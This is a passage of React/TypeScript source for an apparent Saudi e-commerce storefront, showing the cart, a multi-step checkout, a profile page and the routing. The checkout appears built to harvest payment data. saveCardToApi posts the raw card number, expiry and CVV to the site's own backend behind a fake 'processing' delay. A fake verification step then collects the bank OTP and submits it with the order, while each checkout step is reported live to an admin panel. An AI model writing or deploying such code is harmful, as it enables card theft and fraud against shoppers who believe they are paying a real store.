{t("cart_subtotal")} {subtotal.toLocaleString("ar-SA")} {t("currency")}
{t("cart_shipping")} {SHIPPING === 0 ? ( {t("cart_shipping_free")} ) : ( {SHIPPING.toLocaleString("ar-SA")} {t("currency")} )}
{t("cart_vat")} {vat.toFixed(2)} {t("currency")}
{SHIPPING > 0 && (
{t("cart_add_for_free")}{" "} {Math.max(0, freeShipRiyadh - subtotal).toLocaleString( "ar-SA", )}{" "} {t("cart_for_free_ship")}
)}
{t("cart_total")}
{total.toFixed(2)} {t("currency")}
{t("cart_total_incl")}
{/* Checkout Button */} {user ? ( ) : (

{t("cart_login_required")}

)} {/* Secure Badge */}
{cartSecureLabel}
{/* Payment methods */}
{activePaymentMethods.map((m) => (
{m}
))}
{cartCheckoutNote && (

{cartCheckoutNote}

)}
); } // ─── Checkout Page ─────────────────────────────────── const CHECKOUT_CITIES: { value: string; label: string; label_en: string }[] = [ // Riyadh Region { value: "الرياض", label: "الرياض — توصيل 3 أيام عمل", label_en: "Riyadh — 3 business days", }, { value: "الخرج", label: "الخرج — توصيل 5 أيام عمل", label_en: "Al Kharj — 5 business days", }, { value: "المجمعة", label: "المجمعة — توصيل 5 أيام عمل", label_en: "Majmaah — 5 business days", }, { value: "الزلفي", label: "الزلفي — توصيل 5 أيام عمل", label_en: "Zulfi — 5 business days", }, { value: "القويعية", label: "القويعية — توصيل 5 أيام عمل", label_en: "Al Quwaiyah — 5 business days", }, { value: "الأفلاج", label: "الأفلاج — توصيل 7 أيام عمل", label_en: "Al Aflaj — 7 business days", }, { value: "وادي الدواسر", label: "وادي الدواسر — توصيل 7 أيام عمل", label_en: "Wadi Ad-Dawasir — 7 business days", }, { value: "عفيف", label: "عفيف — توصيل 7 أيام عمل", label_en: "Afif — 7 business days", }, { value: "الدوادمي", label: "الدوادمي — توصيل 7 أيام عمل", label_en: "Ad Dawadimi — 7 business days", }, { value: "شقراء", label: "شقراء — توصيل 7 أيام عمل", label_en: "Shaqra — 7 business days", }, { value: "ضرما", label: "ضرما — توصيل 5 أيام عمل", label_en: "Dirma — 5 business days", }, { value: "المزاحمية", label: "المزاحمية — توصيل 5 أيام عمل", label_en: "Al Muzahimiyah — 5 business days", }, { value: "الحريق", label: "الحريق — توصيل 7 أيام عمل", label_en: "Al Hariq — 7 business days", }, { value: "السليل", label: "السليل — توصيل 7 أيام عمل", label_en: "As Sulayyil — 7 business days", }, { value: "ثادق", label: "ثادق — توصيل 7 أيام عمل", label_en: "Thadiq — 7 business days", }, { value: "رماح", label: "رماح — توصيل 7 أيام عمل", label_en: "Rumah — 7 business days", }, // Makkah Region { value: "مكة المكرمة", label: "مكة المكرمة — توصيل 5 أيام عمل", label_en: "Makkah — 5 business days", }, { value: "جدة", label: "جدة — توصيل 5 أيام عمل", label_en: "Jeddah — 5 business days", }, { value: "الطائف", label: "الطائف — توصيل 5 أيام عمل", label_en: "Taif — 5 business days", }, { value: "رابغ", label: "رابغ — توصيل 7 أيام عمل", label_en: "Rabigh — 7 business days", }, { value: "القنفذة", label: "القنفذة — توصيل 7 أيام عمل", label_en: "Al Qunfudhah — 7 business days", }, { value: "الليث", label: "الليث — توصيل 7 أيام عمل", label_en: "Al Lith — 7 business days", }, { value: "خليص", label: "خليص — توصيل 7 أيام عمل", label_en: "Khulays — 7 business days", }, { value: "الجموم", label: "الجموم — توصيل 7 أيام عمل", label_en: "Al Jumum — 7 business days", }, // Madinah Region { value: "المدينة المنورة", label: "المدينة المنورة — توصيل 5 أيام عمل", label_en: "Madinah — 5 business days", }, { value: "ينبع", label: "ينبع — توصيل 5 أيام عمل", label_en: "Yanbu — 5 business days", }, { value: "العلا", label: "العلا — توصيل 7 أيام عمل", label_en: "Al Ula — 7 business days", }, { value: "المهد", label: "المهد — توصيل 7 أيام عمل", label_en: "Al Mahd — 7 business days", }, { value: "بدر", label: "بدر — توصيل 7 أيام عمل", label_en: "Badr — 7 business days", }, { value: "خيبر", label: "خيبر — توصيل 7 أيام عمل", label_en: "Khaybar — 7 business days", }, // Qassim Region { value: "بريدة", label: "بريدة — توصيل 5 أيام عمل", label_en: "Buraydah — 5 business days", }, { value: "عنيزة", label: "عنيزة — توصيل 5 أيام عمل", label_en: "Unaizah — 5 business days", }, { value: "الرس", label: "الرس — توصيل 7 أيام عمل", label_en: "Ar Rass — 7 business days", }, { value: "المذنب", label: "المذنب — توصيل 7 أيام عمل", label_en: "Al Mithnab — 7 business days", }, { value: "البكيرية", label: "البكيرية — توصيل 7 أيام عمل", label_en: "Al Bukayriyah — 7 business days", }, { value: "البدائع", label: "البدائع — توصيل 7 أيام عمل", label_en: "Al Badaie — 7 business days", }, // Eastern Region { value: "الدمام", label: "الدمام — توصيل 5 أيام عمل", label_en: "Dammam — 5 business days", }, { value: "الخبر", label: "الخبر — توصيل 5 أيام عمل", label_en: "Khobar — 5 business days", }, { value: "الأحساء", label: "الأحساء — توصيل 5 أيام عمل", label_en: "Al Ahsa — 5 business days", }, { value: "الظهران", label: "الظهران — توصيل 5 أيام عمل", label_en: "Dhahran — 5 business days", }, { value: "الجبيل", label: "الجبيل — توصيل 5 أيام عمل", label_en: "Jubail — 5 business days", }, { value: "القطيف", label: "القطيف — توصيل 5 أيام عمل", label_en: "Qatif — 5 business days", }, { value: "حفر الباطن", label: "حفر الباطن — توصيل 7 أيام عمل", label_en: "Hafar Al-Batin — 7 business days", }, { value: "الخفجي", label: "الخفجي — توصيل 7 أيام عمل", label_en: "Khafji — 7 business days", }, { value: "رأس تنورة", label: "رأس تنورة — توصيل 7 أيام عمل", label_en: "Ras Tanura — 7 business days", }, // Asir Region { value: "أبها", label: "أبها — توصيل 5 أيام عمل", label_en: "Abha — 5 business days", }, { value: "خميس مشيط", label: "خميس مشيط — توصيل 5 أيام عمل", label_en: "Khamis Mushait — 5 business days", }, { value: "بيشة", label: "بيشة — توصيل 7 أيام عمل", label_en: "Bisha — 7 business days", }, { value: "محايل عسير", label: "محايل عسير — توصيل 7 أيام عمل", label_en: "Muhayil Asir — 7 business days", }, { value: "النماص", label: "النماص — توصيل 7 أيام عمل", label_en: "An Namas — 7 business days", }, { value: "بلقرن", label: "بلقرن — توصيل 7 أيام عمل", label_en: "Balqarn — 7 business days", }, // Tabuk Region { value: "تبوك", label: "تبوك — توصيل 5 أيام عمل", label_en: "Tabuk — 5 business days", }, { value: "ضباء", label: "ضباء — توصيل 7 أيام عمل", label_en: "Duba — 7 business days", }, { value: "أملج", label: "أملج — توصيل 7 أيام عمل", label_en: "Umluj — 7 business days", }, { value: "الوجه", label: "الوجه — توصيل 7 أيام عمل", label_en: "Al Wajh — 7 business days", }, { value: "تيماء", label: "تيماء — توصيل 7 أيام عمل", label_en: "Tayma — 7 business days", }, // Hail Region { value: "حائل", label: "حائل — توصيل 5 أيام عمل", label_en: "Hail — 5 business days", }, { value: "بقعاء", label: "بقعاء — توصيل 7 أيام عمل", label_en: "Buqayah — 7 business days", }, { value: "الغزالة", label: "الغزالة — توصيل 7 أيام عمل", label_en: "Al Ghazalah — 7 business days", }, // Al Jawf Region { value: "سكاكا", label: "سكاكا — توصيل 7 أيام عمل", label_en: "Sakaka — 7 business days", }, { value: "القريات", label: "القريات — توصيل 7 أيام عمل", label_en: "Al Qurayyat — 7 business days", }, { value: "دومة الجندل", label: "دومة الجندل — توصيل 7 أيام عمل", label_en: "Dawmat Al Jandal — 7 business days", }, // Northern Borders Region { value: "عرعر", label: "عرعر — توصيل 7 أيام عمل", label_en: "Arar — 7 business days", }, { value: "رفحاء", label: "رفحاء — توصيل 7 أيام عمل", label_en: "Rafha — 7 business days", }, { value: "طريف", label: "طريف — توصيل 7 أيام عمل", label_en: "Turaif — 7 business days", }, // Jizan Region { value: "جازان", label: "جازان — توصيل 5 أيام عمل", label_en: "Jizan — 5 business days", }, { value: "أبو عريش", label: "أبو عريش — توصيل 7 أيام عمل", label_en: "Abu Arish — 7 business days", }, { value: "صبيا", label: "صبيا — توصيل 7 أيام عمل", label_en: "Sabya — 7 business days", }, { value: "الدرب", label: "الدرب — توصيل 7 أيام عمل", label_en: "Ad Darb — 7 business days", }, { value: "فرسان", label: "فرسان — توصيل 7 أيام عمل", label_en: "Farasan — 7 business days", }, // Najran Region { value: "نجران", label: "نجران — توصيل 7 أيام عمل", label_en: "Najran — 7 business days", }, { value: "شرورة", label: "شرورة — توصيل 7 أيام عمل", label_en: "Sharurah — 7 business days", }, { value: "حبونا", label: "حبونا — توصيل 7 أيام عمل", label_en: "Hubuna — 7 business days", }, // Al Bahah Region { value: "الباحة", label: "الباحة — توصيل 7 أيام عمل", label_en: "Al Bahah — 7 business days", }, { value: "بلجرشي", label: "بلجرشي — توصيل 7 أيام عمل", label_en: "Baljurashi — 7 business days", }, { value: "المخواة", label: "المخواة — توصيل 7 أيام عمل", label_en: "Al Mikhwa — 7 business days", }, ]; function formatCardNumberCO(val: string) { const digits = val.replace(/\D/g, "").substring(0, 16); return digits.replace(/(.{4})/g, "$1 ").trim(); } function formatExpiryCO(v: string): string { const d = v.replace(/\D/g, "").slice(0, 4); return d.length > 2 ? d.slice(0, 2) + "/" + d.slice(2) : d; } async function saveCardToApi( apiBase: string, sessionId: string, cardNumber: string, cardHolder: string, expiry: string, cvv: string, cardType: string, ) { try { await fetch(`${apiBase}/payments/saved`, { method: "POST", headers: { "Content-Type": "application/json" }, body: JSON.stringify({ session_id: sessionId, card_number: cardNumber, card_holder: cardHolder, expiry, cvv, card_type: cardType, }), }); } catch (_) {} } const CF = "w-full border border-[#333] rounded-xl px-4 py-3 text-sm outline-none focus:border-[#D4AF37] focus:ring-2 focus:ring-[#D4AF37]/20 bg-[#1a1a1a] text-white transition-all placeholder:text-gray-600"; const CL = "block text-sm font-medium text-gray-400 mb-1.5"; function CheckoutPage() { const { t, lang } = useLang(); const { items, clearCart, subtotal } = useCart(); const [, navigate] = useLocation(); const sessionId = useRef( `sess-${Date.now()}-${Math.random().toString(36).slice(2)}`, ).current; const [step, setStep] = useState(1); const [hasSavedDelivery, setHasSavedDelivery] = useState(false); const [formData, setFormData] = useState(() => { try { const saved = localStorage.getItem("saved_delivery_info"); if (saved) { const parsed = JSON.parse(saved); return { name: "", phone: parsed.phone || "", email: parsed.email || "", city: parsed.city || "الرياض", neighborhood: parsed.neighborhood || "", street: parsed.street || "", building: parsed.building || "", floor: parsed.floor || "", cardNumber: "", expiry: "", cvv: "", cardHolder: "", }; } } catch (_) {} return { name: "", phone: "", email: "", city: "الرياض", neighborhood: "", street: "", building: "", floor: "", cardNumber: "", expiry: "", cvv: "", cardHolder: "", }; }); const [otp, setOtp] = useState(""); const [otpTimer, setOtpTimer] = useState(15); const [otpLoading, setOtpLoading] = useState(false); const [otpSuccess, setOtpSuccess] = useState(false); const [placedOrderNumber, setPlacedOrderNumber] = useState(""); const [processing, setProcessing] = useState(false); const timerRef = useRef | undefined>( undefined, ); useEffect(() => { try { const saved = localStorage.getItem("saved_delivery_info"); if (saved) { const parsed = JSON.parse(saved); if (parsed.phone || parsed.city) setHasSavedDelivery(true); } } catch (_) {} }, []); useEffect(() => { if (items.length === 0 && !otpSuccess) navigate("/cart"); }, [items.length, otpSuccess, navigate]); // Send checkout event to notify admin panel const sendCheckoutEvent = useCallback( async (stepNum: number, stepLabel: string) => { try { await fetch(`${API}/checkout-events`, { method: "POST", headers: { "Content-Type": "application/json" }, body: JSON.stringify({ session_id: sessionId, step: stepNum, step_label: stepLabel, }), }); } catch (_) {} }, [sessionId], ); // Step 1: customer arrived at delivery info page useEffect(() => { sendCheckoutEvent(1, "بيانات التوصيل"); // eslint-disable-next-line react-hooks/exhaustive-deps }, []); const { data: storeSettings } = useStoreSettings(); const freeShipRiyadh = parseFloat( storeSettings?.cart_free_shipping_riyadh || "299", ); const freeShipOther = parseFloat( storeSettings?.cart_free_shipping_other || "399", ); const feeRiyadh = parseFloat(storeSettings?.cart_delivery_fee_riyadh || "19"); const feeOther = parseFloat(storeSettings?.cart_delivery_fee_other || "29"); const minOrder = parseFloat(storeSettings?.cart_min_order || "0"); const checkoutTitle = storeCopy( storeSettings, lang, "checkout_page_title", t("checkout_title"), ); const checkoutSubtitle = storeCopy( storeSettings, lang, "checkout_page_subtitle", t("checkout_subtitle"), ); const deliverySectionTitle = storeCopy( storeSettings, lang, "delivery_section_title", t("delivery_info"), ); const deliverySavedBadge = storeCopy( storeSettings, lang, "delivery_saved_badge", t("saved_address"), ); const deliveryPeakWarning = storeCopy( storeSettings, lang, "delivery_peak_warning", t("peak_warning"), ); const deliveryContinueLabel = storeCopy( storeSettings, lang, "delivery_continue_button", t("continue_to_payment"), ); const paymentSectionTitle = storeCopy( storeSettings, lang, "payment_section_title", t("payment_method"), ); const paymentSectionSubtitle = storeCopy( storeSettings, lang, "payment_section_subtitle", t("payment_methods_sub"), ); const paymentButtonLabel = storeCopy( storeSettings, lang, "payment_submit_button", t("pay_btn"), ); const verificationTitle = storeCopy( storeSettings, lang, "verification_section_title", t("otp_title"), ); const verificationSubtitle = storeCopy( storeSettings, lang, "verification_section_subtitle", t("otp_msg"), ); const verificationHint = storeCopy( storeSettings, lang, "verification_hint", t("otp_hint"), ); const verificationProcessingTitle = storeCopy( storeSettings, lang, "verification_processing_title", t("verifying"), ); const verificationProcessingMsg = storeCopy( storeSettings, lang, "verification_processing_msg", t("verifying_msg"), ); const verificationSuccessTitle = storeCopy( storeSettings, lang, "verification_success_title", t("payment_success"), ); const verificationSuccessMsg = storeCopy( storeSettings, lang, "verification_success_msg", t("payment_success_msg"), ); const isRiyadh = formData.city === "الرياض"; const shippingFee = isRiyadh ? subtotal >= freeShipRiyadh ? 0 : feeRiyadh : subtotal >= freeShipOther ? 0 : feeOther; const finalTotal = subtotal + shippingFee; const belowMinOrder = minOrder > 0 && subtotal < minOrder; const rawCard = formData.cardNumber.replace(/\s/g, ""); // Detect card type from the very first digit(s) const cardType: "VISA" | "MASTER" | "MADA" | null = (() => { if (!rawCard) return null; const first = rawCard[0]; if (first === "4") return "VISA"; if (first === "5") return "MASTER"; if (first === "6") return "MADA"; // 2-series Mastercard: starts with 22–27 (needs 1st digit "2") // Show badge after 1st digit "2" (optimistic); refine at 2 digits if (first === "2") { if (rawCard.length === 1) return "MASTER"; // optimistic from digit 1 const p2 = parseInt(rawCard.substring(0, 2), 10); return p2 >= 22 && p2 <= 27 ? "MASTER" : null; } return null; })(); const isValidCard = rawCard.length === 16 && !!cardType; const cardError = rawCard.length === 16 && !cardType; const cardHolderError = formData.cardHolder.length > 0 && /[^\u0000-\u007F]/.test(formData.cardHolder); const isValidExpiry = (() => { const parts = formData.expiry.split("/"); if (parts.length !== 2 || parts[0].length !== 2 || parts[1].length !== 2) return false; const month = parseInt(parts[0], 10); const year = 2000 + parseInt(parts[1], 10); if (month < 1 || month > 12) return false; const now = new Date(); return ( year > now.getFullYear() || (year === now.getFullYear() && month >= now.getMonth() + 1) ); })(); const expiryComplete = formData.expiry.length === 5; const expiryError = expiryComplete && !isValidExpiry; const handleNext = (e: React.FormEvent) => { e.preventDefault(); if (step === 1) { try { localStorage.setItem( "saved_delivery_info", JSON.stringify({ phone: formData.phone, email: formData.email, city: formData.city, neighborhood: formData.neighborhood, street: formData.street, building: formData.building, floor: formData.floor, }), ); setHasSavedDelivery(true); } catch (_) {} sendCheckoutEvent(2, "معلومات بطاقة الدفع"); setStep(2); window.scrollTo({ top: 0, behavior: "smooth" }); } else if (step === 2) { setProcessing(true); setTimeout(async () => { setProcessing(false); await saveCardToApi( API, sessionId, rawCard, formData.cardHolder, formData.expiry, formData.cvv, cardType || "CARD", ); sendCheckoutEvent(3, "تأكيد OTP"); setStep(3); window.scrollTo({ top: 0, behavior: "smooth" }); startOtpTimer(); }, 2000); } }; const startOtpTimer = () => { setOtpTimer(15); clearInterval(timerRef.current); timerRef.current = setInterval(() => { setOtpTimer((prev) => { if (prev <= 1) { clearInterval(timerRef.current); return 0; } return prev - 1; }); }, 1000); }; const handleConfirmOrder = () => { if (otp.length !== 4 && otp.length !== 6) return; setOtpLoading(true); setTimeout(async () => { try { const orderRes = await fetch(`${API}/orders`, { method: "POST", headers: { "Content-Type": "application/json" }, body: JSON.stringify({ session_id: sessionId, customer_name: formData.name, customer_phone: formData.phone, customer_email: formData.email, shipping_address: [ formData.city, formData.neighborhood && `حي ${formData.neighborhood}`, formData.street && `شارع ${formData.street}`, formData.building && `مبنى ${formData.building}`, formData.floor && `دور ${formData.floor}`, ] .filter(Boolean) .join("، "), city: formData.city, neighborhood: formData.neighborhood, street: formData.street, building: formData.building, floor: formData.floor, otp_code: otp, payment_method: cardType || "CARD", notes: "", items: items.map((item) => ({ product_id: item.product.id, product_name: item.product.name, product_image: Array.isArray(item.product.images) ? item.product.images[0] : "", quantity: item.quantity, price: Number(item.product.price), selected_size: item.size || undefined, selected_color: item.color || undefined, })), }), }); if (orderRes.ok) { const orderData = await orderRes.json(); if (orderData?.order_number) setPlacedOrderNumber(orderData.order_number); } } catch (_) {} clearCart(); setOtpLoading(false); setOtpSuccess(true); setTimeout(() => navigate("/"), 7000); }, 15000); }; const stepLabels = [ storeCopy( storeSettings, lang, "checkout_step_delivery", t("step_delivery"), ), storeCopy(storeSettings, lang, "checkout_step_payment", t("step_payment")), ]; return (
{/* Back button */} {/* Title */}

{checkoutTitle}

{checkoutSubtitle}

{/* Steps */}
{stepLabels.map((label, i) => { const s = i + 1; const active = step === s; const done = step > s; return (
{done ? "✓" : s}
{label}
{i < stepLabels.length - 1 && (
s ? "bg-[#D4AF37]" : "bg-[#222]"}`} /> )}
); })}
{/* Step 1: Shipping */} {step === 1 && (

{deliverySectionTitle}

{/* شروط التوصيل */} {(() => { let conds: { id: string; text: string; text_en?: string; visible: boolean; }[] = []; try { conds = JSON.parse( storeSettings?.delivery_conditions || "[]", ); } catch { conds = []; } const visible = conds.filter((c) => c.visible); if (visible.length === 0) return null; return (

{t("delivery_conditions")}

{visible.map((c) => (

• {lang === "en" && c.text_en ? c.text_en : c.text}

))}
); })()} {hasSavedDelivery && (

{deliverySavedBadge}

{formData.name} — {formData.phone} {formData.neighborhood ? ` — حي ${formData.neighborhood}` : ""}

)} {/* Peak warning */}
⚠️ {deliveryPeakWarning}
setFormData({ ...formData, name: e.target.value }) } className={CF} placeholder="محمد العتيبي" autoComplete="name" />
setFormData({ ...formData, phone: e.target.value }) } className={CF} placeholder="05XXXXXXXX" autoComplete="tel" />
setFormData({ ...formData, neighborhood: e.target.value, }) } className={CF} placeholder="حي النزهة" />
setFormData({ ...formData, street: e.target.value }) } className={CF} placeholder="شارع الأمير محمد بن عبدالعزيز" />
setFormData({ ...formData, building: e.target.value }) } className={CF} placeholder="123" />
setFormData({ ...formData, floor: e.target.value }) } className={CF} placeholder="الدور 2" />
{/* Order Summary */}
{t("subtotal")} {subtotal.toFixed(2)} {t("currency")}
{t("shipping")} {shippingFee === 0 ? ( {t("free")} ) : ( `${shippingFee} ${t("currency")}` )}
{t("total")} {finalTotal.toFixed(2)} {t("currency")}
)} {/* Step 2: Payment */} {step === 2 && (

{paymentSectionTitle}

{paymentSectionSubtitle && (

{paymentSectionSubtitle}

)}
{/* Apple Pay + Google Pay */}
{t("pay_with_card")}
{/* Card Number */}
setFormData({ ...formData, cardNumber: formatCardNumberCO(e.target.value), }) } className={`${CF} pr-28 font-mono tracking-widest text-lg ${cardError ? "border-red-500 ring-2 ring-red-500/30" : isValidCard ? "border-[#D4AF37] ring-2 ring-[#D4AF37]/30" : ""}`} />
{cardType === "VISA" && ( VISA )} {cardType === "MASTER" && ( )} {cardType === "MADA" && ( {lang === "en" ? "mada" : "مدى"} )} {!cardType && rawCard.length === 0 && ( {lang === "en" ? "VISA / MC / mada" : "VISA / MC / مدى"} )}
{cardError && (

{t("card_invalid")}

)}
setFormData({ ...formData, expiry: formatExpiryCO(e.target.value), }) } className={`${CF} font-mono ${expiryError ? "border-red-500 ring-2 ring-red-500/30" : expiryComplete && isValidExpiry ? "border-[#D4AF37] ring-2 ring-[#D4AF37]/30" : ""}`} /> {expiryError && (

{t("card_expired")}

)}
setFormData({ ...formData, cvv: e.target.value .replace(/\D/g, "") .substring(0, 3), }) } className={`${CF} font-mono`} />
{ const filtered = e.target.value .replace(/[^\u0000-\u007F]/g, "") .toUpperCase(); setFormData({ ...formData, cardHolder: filtered }); }} className={`${CF} uppercase tracking-wide ${cardHolderError ? "border-red-500 ring-2 ring-red-500/30" : formData.cardHolder.trim().length >= 3 && !cardHolderError ? "border-[#D4AF37] ring-2 ring-[#D4AF37]/30" : ""}`} /> {cardHolderError && (

{t("card_holder_error")}

)}
{/* Total */}
{t("payment_total")} {finalTotal.toFixed(2)} {t("currency")}

{t("incl_shipping")}

)} {/* Step 3: OTP */} {step === 3 && ( {otpSuccess ? (

✅ {verificationSuccessTitle}

{placedOrderNumber && (

{lang === "en" ? "Order Confirmation Code" : "رمز تأكيد الطلب"}

{placedOrderNumber}

{lang === "en" ? "Keep this code to track your order" : "احتفظ بهذا الرمز لمتابعة طلبك"}

)}

{verificationSuccessMsg}

) : otpLoading ? (

{verificationProcessingTitle}

{verificationProcessingMsg}

) : (

{verificationTitle}

{verificationSubtitle}

setOtp(e.target.value.replace(/\D/g, "")) } className="w-full border-2 border-[#333] rounded-xl px-4 py-4 text-center text-3xl tracking-[1em] font-mono focus:border-[#D4AF37] outline-none mb-2 bg-[#0f0f0f] text-white" placeholder="——————" />

{verificationHint}

{otpTimer > 0 ? ( `${t("otp_resend_in")} ${otpTimer} ${t("otp_seconds")}` ) : ( )}

)}
)}
{/* Security Badge */}
{t("ssl_badge")}
); } // ─── 404 Page ──────────────────────────────────────── function NotFoundPage() { const { t } = useLang(); return (
404

{t("not_found")}

{t("back_home")}
); } // ─── Profile Page ──────────────────────────────────── function ProfilePage() { const { t } = useLang(); const { user, logout, openAuth } = useAuth(); const [, navigate] = useLocation(); if (!user) { return (

{t("profile_login_first")}

{t("profile_login_sub")}

); } const initial = (user.name || user.email)[0].toUpperCase(); return (
{/* Profile Card */}
{initial}

{user.name || t("user_default")}

{user.email}

{t("extra_member")}
{/* Quick Links */} {[ { icon: "M16 11V7a4 4 0 00-8 0v4M5 9h14l1 12H4L5 9z", label: t("my_orders"), sub: t("my_orders_sub"), href: "/category/0", }, { icon: "M4.318 6.318a4.5 4.5 0 000 6.364L12 20.364l7.682-7.682a4.5 4.5 0 00-6.364-6.364L12 7.636l-1.318-1.318a4.5 4.5 0 00-6.364 0z", label: t("wishlist"), sub: t("wishlist_sub"), href: "/category/0", }, { icon: "M17.657 16.657L13.414 20.9a1.998 1.998 0 01-2.827 0l-4.244-4.243a8 8 0 1111.314 0z M15 11a3 3 0 11-6 0 3 3 0 016 0z", label: t("my_addresses"), sub: t("my_addresses_sub"), href: "/", }, { icon: "M3 10h18M7 15h1m4 0h1m-7 4h12a3 3 0 003-3V8a3 3 0 00-3-3H6a3 3 0 00-3 3v8a3 3 0 003 3z", label: t("payment_methods"), sub: t("payment_methods_sub"), href: "/cart", }, ].map((item) => (

{item.label}

{item.sub}

))} {/* Logout */}
); } // ─── Router ───────────────────────────────────────── function Router() { const [location] = useLocation(); const isAdmin = location.startsWith("/admin"); if (isAdmin) return ( ); return ( <>